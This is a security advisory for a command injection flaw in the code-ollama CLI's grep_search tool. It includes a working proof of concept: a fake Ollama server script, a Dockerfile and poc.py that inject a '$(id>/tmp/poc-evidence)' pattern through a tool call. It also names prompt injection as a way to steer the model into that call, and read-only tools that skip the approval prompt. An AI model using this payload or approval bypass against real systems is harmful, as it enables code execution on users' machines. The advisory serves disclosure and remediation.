GHSA-456v-xq2p-r4cj: OS Command Injection

Published Sep 28, 2026
·
Updated

grepsearch Command Injection via Unescaped $() Shell Substitution (CWE-78)

Summary

The grepsearch tool in code-ollama constructs a shell command string by interpolating attacker-controlled pattern and path arguments, then executes it via childprocess.exec(). The sanitization only escapes backslashes and double-quote characters, leaving $() command substitution and backtick expansion fully intact. A malicious or compromised Ollama server can therefore inject and execute arbitrary OS commands with the privileges of the local user running code-ollama. Because grepsearch is classified as a read-only tool, it auto-executes in Plan mode without any user approval prompt, making this a no-interaction-required exploitation path. Severity is High (CVSS 7.8).

Details

Vulnerable sink — src/utils/tools/filesystem/grep.ts:58-66

ts const escapedPattern = searchPattern .replace(/\\/g, '\\\\') .replace(/"/g, '\\"'); const escapedDirPath = dirPath.replace(/\\/g, '\\\\').replace(/"/g, '\\"');

const { stdout } = await execShell( rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}", );

Only \ and " are neutralized. The shell metacharacter sequence $() (and backtick-style substitution) is passed through unmodified. The resulting string is passed to execShell() (src/utils/tools/shell.ts:46-49), which calls exec — the promisified childprocess.exec defined at src/utils/node.ts:1-4 — causing /bin/sh to interpret the entire string and expand any embedded command substitution.

Full data-flow path (source → sink)

| Step | Location | Action | |------|----------|--------| | 1 | src/utils/ollama.ts:102-103 | External Ollama chat stream delivers chunk.message.toolcalls to the CLI | | 2 | src/cli.ts:147-148 | Each toolCall is forwarded to tools.executeToolCall() | | 3 | src/utils/tools/dispatcher.ts:300-306 | Dispatcher normalizes the call and routes it | | 4 | src/utils/tools/dispatcher.ts:392-393 | stringArgs.pattern and stringArgs.path are passed verbatim to grepSearch() | | 5 | src/utils/tools/filesystem/grep.ts:58-63 | Incomplete sanitization: only \ and " are escaped (root cause) | | 6 | src/utils/tools/filesystem/grep.ts:65 | Shell command string assembled and handed to execShell() (sink) | | 7 | src/utils/tools/shell.ts:46-49 → src/utils/node.ts:1-4 | exec() (childprocess.exec) executes the string via /bin/sh |

Approval-bypass amplifier

grepsearch is listed in READTOOLNAMES at src/constants/tool.ts:14-20 and is exposed in Plan mode at src/utils/tools/definitions.ts:225-228. Read-only tools execute automatically without presenting an approval prompt to the user, so exploitation requires zero user interaction beyond the initial code-ollama run invocation.

PoC

Prerequisites

- code-ollama v0.36.0 installed (e.g., npm install --global code-ollama@0.36.0 or built from source via the Dockerfile below). - ripgrep (rg) available in PATH (the vulnerable code path requires it). - Python 3 available to run the fake Ollama server.

Step 1 — Build the self-contained Docker image (recommended)

sh From the report root directory (where vuln-001/ lives) docker build -t vuln001-code-ollama -f vuln-001/Dockerfile . docker run --rm vuln001-code-ollama

The container automatically runs poc.py as CMD. Successful exploitation prints:

[+] EXPLOITATION CONFIRMED [+] Marker file : /tmp/poc-evidence [+] Contents : 'uid=0(root) gid=0(root) groups=0(root)'

Step 2 — Manual reproduction (bare-metal)

sh Terminal 1 — start the malicious Ollama server cat > /tmp/fake-ollama.py <<'PY' from http.server import BaseHTTPRequestHandler, HTTPServer import json, sys, threading

req = 0 lock = threading.Lock()

class H(BaseHTTPRequestHandler): def logmessage(self, a): pass def doGET(self): self.sendresponse(200); self.endheaders() self.wfile.write(b"Ollama is running") def doPOST(self): global req l = int(self.headers.get("Content-Length", 0)) self.rfile.read(l) with lock: req += 1; n = req self.sendresponse(200) self.sendheader("Content-Type", "application/x-ndjson") self.endheaders() if n == 1: chunk = {"model":"fake","message":{"role":"assistant","content":"", "toolcalls":[{"function":{"name":"grepsearch", "arguments":{"pattern":"$(id>/tmp/poc-evidence)","path":"/tmp"}}}]}, "done":True,"donereason":"stop"} else: chunk = {"model":"fake","message":{"role":"assistant","content":"Done."}, "done":True,"donereason":"stop"} self.wfile.write((json.dumps(chunk)+"\n").encode()) self.wfile.flush()

HTTPServer(("127.0.0.1", 11434), H).serveforever() PY python3 /tmp/fake-ollama.py &

Terminal 2 — run code-ollama against the fake server rm -f /tmp/poc-evidence OLLAMAHOST=http://127.0.0.1:11434 code-ollama run --trust fake "search the code" cat /tmp/poc-evidence # expected: uid=... gid=... groups=...

Explanation of the payload

The pattern argument value $(id>/tmp/poc-evidence) survives the sanitization in grep.ts:58-63 because only \ and " are stripped. When the resulting shell string

rg --line-number --no-heading --smart-case "$(id>/tmp/poc-evidence)" "/tmp"

is executed by /bin/sh via childprocess.exec, the shell expands $() first, running id and writing its output to /tmp/poc-evidence before rg ever starts.

Remediation

Replace the shell-string construction with an argument-vector call to avoid the shell entirely:

diff -import { execShell } from '../shell'; +import { execFile } from '../../node'; + +const RGEXECOPTIONS = { timeout: 30000, maxBuffer: 1024 1024 };

- const escapedPattern = searchPattern - .replace(/\\/g, '\\\\') - .replace(/"/g, '\\"'); - const escapedDirPath = dirPath - .replace(/\\/g, '\\\\') - .replace(/"/g, '\\"'); - - const { stdout } = await execShell( - rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}", - ); + const { stdout } = await execFile( + 'rg', + ['--line-number', '--no-heading', '--smart-case', '--', searchPattern, dirPath], + RGEXECOPTIONS, + );

Impact

This is an OS Command Injection vulnerability (CWE-78). Any party that controls the Ollama server response — including a rogue model backend, a prompt-injection payload that manipulates the model into issuing a crafted grepsearch tool call, or a network adversary performing a man-in-the-middle attack on an unencrypted OLLAMAHOST connection — can execute arbitrary commands as the OS user running code-ollama.

Impact scope:

- Confidentiality (High) — attacker can read any file accessible to the user, exfiltrate source code, secrets, SSH keys, etc. - Integrity (High) — attacker can modify or delete files, plant backdoors, alter repository history. - Availability (High) — attacker can terminate processes, corrupt data, or consume system resources.

The approval-bypass via READTOOLNAMES / Plan-mode auto-execution means the attack completes silently with no user interaction after code-ollama run is invoked. Developers, CI pipelines, and IDE-integrated users who run code-ollama in trusted directories are all at risk.

Reproduction artifacts

Dockerfile

dockerfile VULN-001: grepsearch Command Injection — CWE-78 Target: ai-action/code-ollama v0.36.0 Proof-of-concept Docker image: builds the repo and runs poc.py Build (from project root): docker build -t vuln001-code-ollama -f vuln-001/Dockerfile . Run: docker run --rm vuln001-code-ollama

FROM node:24-slim

ripgrep — required by grepSearch() in the vulnerable code path python3 — runs poc.py orchestration script RUN apt-get update && apt-get install -y \ ripgrep \ python3 \ --no-install-recommends \ && rm -rf /var/lib/apt/lists/

── Install Node dependencies ────────────────────────────────────────────────── WORKDIR /app COPY repo/package.json repo/package-lock.json ./ Install ALL deps (devDeps needed for vite build / tsx fallback) RUN npm ci

── Copy source and build ────────────────────────────────────────────────────── COPY repo/ ./ Produces /app/dist/cli.js — the bundled CLI entrypoint RUN npm run build

── Runtime setup ───────────────────────────────────────────────────────────── code-ollama writes config to ~/.code-ollama; pre-create to avoid mkdir race RUN mkdir -p /root/.code-ollama /workspace

COPY vuln-001/poc.py /poc.py

WORKDIR /workspace CMD ["python3", "/poc.py"]

poc.py

python #!/usr/bin/env python3 """ Proof of Concept: VULN-001 — grepsearch Command Injection (CWE-78) Repository : ai-action/code-ollama v0.36.0 Sink : src/utils/tools/filesystem/grep.ts:65 execShell(rg ... "${escapedPattern}" "${escapedDirPath}") Attack path: malicious Ollama server -> toolcall.arguments.pattern -> grepSearch() -> execShell() -> childprocess.exec()

Only \\ and " are escaped; $() command substitution is NOT neutralized. This PoC demonstrates that a rogue Ollama server can inject arbitrary shell commands that execute as the local user running code-ollama.

Usage (inside Docker, called automatically by CMD): python3 /poc.py

Expected outcome: /tmp/poc-evidence is created with content matching INJECTEDCMD output. """

import json import os import subprocess import sys import threading import time from http.server import BaseHTTPRequestHandler, HTTPServer

--------------------------------------------------------------------------- Configuration --------------------------------------------------------------------------- FAKESERVERHOST = "127.0.0.1" FAKESERVERPORT = 11434

The marker file written by the injected command — used as exploitation proof MARKERFILE = "/tmp/poc-evidence"

Payload: $() command substitution that is NOT escaped by code-ollama's sanitization (only \\ and " are escaped, leaving $() intact). Writes output of id to MARKERFILE to capture the running UID/GID. INJECTEDCMD = f"$(id>{MARKERFILE})"

Path argument for grepsearch (must be a valid non-empty string) TARGETPATH = "/workspace"

Tracks how many POST requests the fake server has received requestcount = 0 requestlock = threading.Lock()

--------------------------------------------------------------------------- Fake Ollama HTTP server ---------------------------------------------------------------------------

class FakeOllamaHandler(BaseHTTPRequestHandler): """Minimal Ollama-compatible HTTP server for the PoC.

First POST /api/chat -> returns a grepsearch toolcall carrying the injected pattern. Subsequent POSTs -> return a plain done response to terminate the code-ollama tool-loop. """

def logmessage(self, fmt, args): # suppress default request logging pass

# ------------------------------------------------------------------ # GET — health-check (code-ollama / ollama-npm may call GET /) # ------------------------------------------------------------------ def doGET(self): self.sendresponse(200) self.sendheader("Content-Type", "text/plain") self.endheaders() self.wfile.write(b"Ollama is running")

# ------------------------------------------------------------------ # POST — chat streaming endpoint # ------------------------------------------------------------------ def doPOST(self): global requestcount

# Consume request body to avoid broken-pipe on the client side contentlength = int(self.headers.get("Content-Length", 0)) = self.rfile.read(contentlength)

with requestlock: requestcount += 1 currentrequest = requestcount

self.sendresponse(200) self.sendheader("Content-Type", "application/x-ndjson") self.endheaders()

if currentrequest == 1: # --------------------------------------------------------------- # First request: inject malicious grepsearch tool call # The arguments object is passed verbatim through the ollama-npm # library and reaches grepSearch(pattern, path) in grep.ts. # --------------------------------------------------------------- print(f"[fake-ollama] Request #{currentrequest}: " f"sending malicious grepsearch toolcall") sys.stdout.flush()

chunk = { "model": "fake", "message": { "role": "assistant", "content": "", "toolcalls": [{ "function": { "name": "grepsearch", # pattern and path are the two required string args # validated by validateArgs() in dispatcher.ts "arguments": { "pattern": INJECTEDCMD, "path": TARGETPATH, }, } }], }, "done": True, "donereason": "stop", } else: # --------------------------------------------------------------- # Subsequent requests: plain text to terminate the tool loop. # No toolcalls -> nextMessages stays null -> processRunStream # returns after checking hasUncalledToolIntent (no match on # "Done.") so the CLI exits cleanly. # --------------------------------------------------------------- print(f"[fake-ollama] Request #{currentrequest}: " "sending done/stop response") sys.stdout.flush()

chunk = { "model": "fake", "message": { "role": "assistant", "content": "Done.", }, "done": True, "donereason": "stop", }

self.wfile.write((json.dumps(chunk) + "\n").encode()) self.wfile.flush()

def startfakeserver(): """Start the fake Ollama server in a daemon thread.""" server = HTTPServer((FAKESERVERHOST, FAKESERVERPORT), FakeOllamaHandler) thread = threading.Thread(target=server.serveforever, daemon=True) thread.start() return server

--------------------------------------------------------------------------- Main orchestration ---------------------------------------------------------------------------

def main(): print("=" 65) print("VULN-001: grepsearch Command Injection PoC (CWE-78)") print("Target : ai-action/code-ollama v0.36.0") print("Sink : src/utils/tools/filesystem/grep.ts:65") print("=" 65) print() print(f"[] Payload : {INJECTEDCMD}") print(f"[] Marker : {MARKERFILE}") print()

# Clean up any leftover marker from a previous run if os.path.exists(MARKERFILE): os.unlink(MARKERFILE) print(f"[] Removed stale marker file: {MARKERFILE}")

# ----------------------------------------------------------------------- # 1. Start the fake Ollama server # ----------------------------------------------------------------------- print(f"[] Starting fake Ollama server on " f"{FAKESERVERHOST}:{FAKESERVERPORT} ...") startfakeserver() time.sleep(0.4) # give the server socket time to bind

# ----------------------------------------------------------------------- # 2. Run code-ollama with OLLAMAHOST pointing to the fake server # --trust skips the interactive directory-trust prompt (src/cli.ts:214) # ----------------------------------------------------------------------- env = os.environ.copy() env["OLLAMAHOST"] = f"http://{FAKESERVERHOST}:{FAKESERVERPORT}"

# Use the compiled CLI bundle produced by npm run build in the Dockerfile cmd = [ "node", "/app/dist/cli.js", "run", "--trust", "fake", "search the code", ]

print(f"[] Executing: {' '.join(cmd)}") print(f"[] OLLAMAHOST={env['OLLAMAHOST']}") print()

try: result = subprocess.run( cmd, env=env, stdin=subprocess.DEVNULL, # no TTY / interactive input needed captureoutput=True, text=True, timeout=60, cwd="/workspace", ) except subprocess.TimeoutExpired: print("[-] code-ollama subprocess timed out after 60 s") sys.exit(1)

print("--- code-ollama stdout ---") print(result.stdout[:3000] if result.stdout else "(empty)") print("--- code-ollama stderr ---") print(result.stderr[:3000] if result.stderr else "(empty)") print(f"--- exit code: {result.returncode} ---") print()

# ----------------------------------------------------------------------- # 3. Verify exploitation: check for the marker file # ----------------------------------------------------------------------- if os.path.exists(MARKERFILE): evidence = open(MARKERFILE).read().strip() print("[+] ============================================================") print("[+] EXPLOITATION CONFIRMED") print("[+] ============================================================") print(f"[+] Marker file : {MARKERFILE}") print(f"[+] Contents : {evidence!r}") print("[+] Explanation : The $() command substitution inside the") print("[+] grepsearch pattern was NOT escaped by code-ollama's") print("[+] sanitizer (grep.ts:58-63 only strips \\ and \").") print("[+] execShell() passed the raw string to childprocess.exec()") print("[+] which ran it through /bin/sh, executing the injected") print("[+] command as the current user.") print("[+] ============================================================") sys.exit(0) else: print("[-] ============================================================") print("[-] EXPLOITATION FAILED") print(f"[-] Expected marker file NOT found: {MARKERFILE}") print("[-] Possible causes:") print("[-] - ollama-npm parsed toolcall.arguments differently") print("[-] - The pattern was sanitized before reaching execShell()") print("[-] - ripgrep is not installed so the fallback path was taken") print("[-] - The shell used does not support $() substitution") print("[-] ============================================================") sys.exit(1)

if name == "main": main()

Affected Software

1 affected componentFixes available
npm/code-ollama<=0.36.0
0.36.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/code-ollama to a version that resolves this vulnerability.

    Fixed in 0.36.1
  2. Compensating control

    In `src/utils/tools/filesystem/grep.ts`, replace the shell-string construction and `execShell()`/`child_process.exec()` call with an argument-vector `execFile()` call to `rg`, passing `['--line-number', '--no-heading', '--smart-case', '--', searchPattern, dirPath]` so the pattern and path are not interpreted by `/bin/sh`.

Event History

Sep 28, 2026
Advisory Published
via GitHub·01:59 PM
Data Sourced
via GitHub·01:59 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who can trigger the command injection?

A malicious or compromised Ollama server can supply crafted pattern or path values that reach the grep_search tool. Exploitation runs commands with the privileges of the local user running code-ollama.

2

Does exploitation require user approval or interaction?

No. grep_search is classified as a read-only tool and auto-executes in Plan mode without a user approval prompt, creating a no-interaction-required path once malicious input is supplied.

3

What input handling causes the issue?

The command construction escapes only backslashes and double quotes before passing a shell command string to child_process.exec(). Shell command substitutions using $() and backtick expansion remain active.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203